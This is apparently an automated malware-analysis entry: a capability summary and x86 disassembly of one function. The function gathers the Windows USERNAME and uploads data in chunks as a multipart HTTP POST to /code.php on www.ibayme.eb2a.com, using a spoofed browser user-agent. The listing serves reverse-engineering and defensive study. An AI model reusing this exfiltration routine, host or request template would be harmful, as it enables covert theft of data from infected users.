Function at 0x405b2e
Capabilities:
Query environment variable
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push ebx
mov eax, 0x24d4
call fcn.00407ac0
mov dword [ebp - 0x208c], 0
mov dword [ebp - 0x2090], 0x400
mov dword [esp + 8], 0x2000
mov dword [esp + 4], 0
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov dword [esp + 8], 0x408476
mov dword [esp + 4], str.www.ibayme.eb2a.com
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404c76
test eax, eax
jne 0x405b9c
mov dword [ebp - 0x24a8], 0
jmp 0x405de7
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
cmp byte [eax], 0
je 0x405be7
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov ebx, eax
mov dword [esp], str.USERNAME
call sub.msvcrt.dll_getenv
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
lea eax, [ebp - 0x2088]
mov dword [esp], eax
call fcn.00405fc2
jmp 0x405c05
mov dword [esp + 8], 7
mov dword [esp + 4], str.Unknown
lea eax, [ebp - 0x2088]
mov dword [esp], eax
call fcn.00405fc2
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], str.____WebKitFormBoundaryORkvQWrBvECHBGf
mov dword [esp + 0x1c], str.____WebKitFormBoundaryORkvQWrBvECHBGf
mov eax, dword [ebp + 0x18]
add eax, 0x200
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], str.www.ibayme.eb2a.com
lea eax, [ebp - 0x2088]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov dword [esp + 8], str._code.php
mov dword [esp + 4], str.POST__s_mode_susr_s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0__Windows__U__Windows_NT_5.1__ar__rv:1.9.0.5__Gecko_2008120122_Firefox_3.0.5_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_nAccept_Language:_en_en_us_q0.7_en_q0.3_r_nAccept_Encoding:_gzip_deflate_r_nAccept_Charset:_ISO_8859_1_utf_8_q0.7__q0.7_r_nKeep_Alive:_300_r_nConnection:_Keep_Alive_r_nContent_Length:__ld_r_nContent_Type:_multipart_form_data__boundary_s_r_n_r_n___s_r_nContent_Disposition:_form_data__name_file___filename__s__r_nContent_Type:_application_x_msdownload_r_n_r_n
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040528a
mov dword [ebp - 0x249c], 0
mov dword [ebp - 0x24a0], 0
mov eax, dword [ebp - 0x208c]
cmp eax, dword [ebp + 0x18]
jge 0x405d8d
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0
lea eax, [ebp - 0x2498]
mov dword [esp], eax
call sub.ntdll.dll_memset
mov edx, dword [ebp - 0x208c]
mov eax, dword [ebp + 0x18]
sub eax, edx
cmp eax, dword [ebp - 0x2090]
jg 0x405cef
mov eax, dword [ebp - 0x208c]
mov edx, dword [ebp + 0x18]
sub edx, eax
mov eax, edx
mov dword [ebp - 0x24a0], eax
jmp 0x405cfb
mov eax, dword [ebp - 0x2090]
mov dword [ebp - 0x24a0], eax
mov eax, dword [ebp - 0x24a0]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x208c]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2498]
mov dword [esp], eax
call fcn.00406136
mov eax, dword [ebp - 0x24a0]
mov dword [esp + 8], eax
lea eax, [ebp - 0x2498]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040528a
mov dword [ebp - 0x249c], eax
cmp dword [ebp - 0x249c], 0
js 0x405d78
mov edx, dword [ebp - 0x249c]
lea eax, [ebp - 0x208c]
add dword [eax], edx
mov dword [ebp - 0x24a4], 0
mov dword [esp], 7
call sub.msvcrt.dll__sleep
jmp 0x405d80
lea eax, [ebp - 0x24a4]
inc dword [eax]
cmp dword [ebp - 0x24a4], 7
jle 0x405c9a
mov dword [esp + 8], str.____WebKitFormBoundaryORkvQWrBvECHBGf
mov dword [esp + 4], str._r_n___s_r_n_r_n
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_sprintf
lea eax, [ebp - 0x2008]
mov dword [esp], eax
call sub.ntdll.dll_strlen
mov dword [esp + 8], eax
lea eax, [ebp - 0x2008]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040528a
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404ff0
mov dword [ebp - 0x24a8], 1
mov eax, dword [ebp - 0x24a8]
add esp, 0x24d4
pop ebx
pop ebp
ret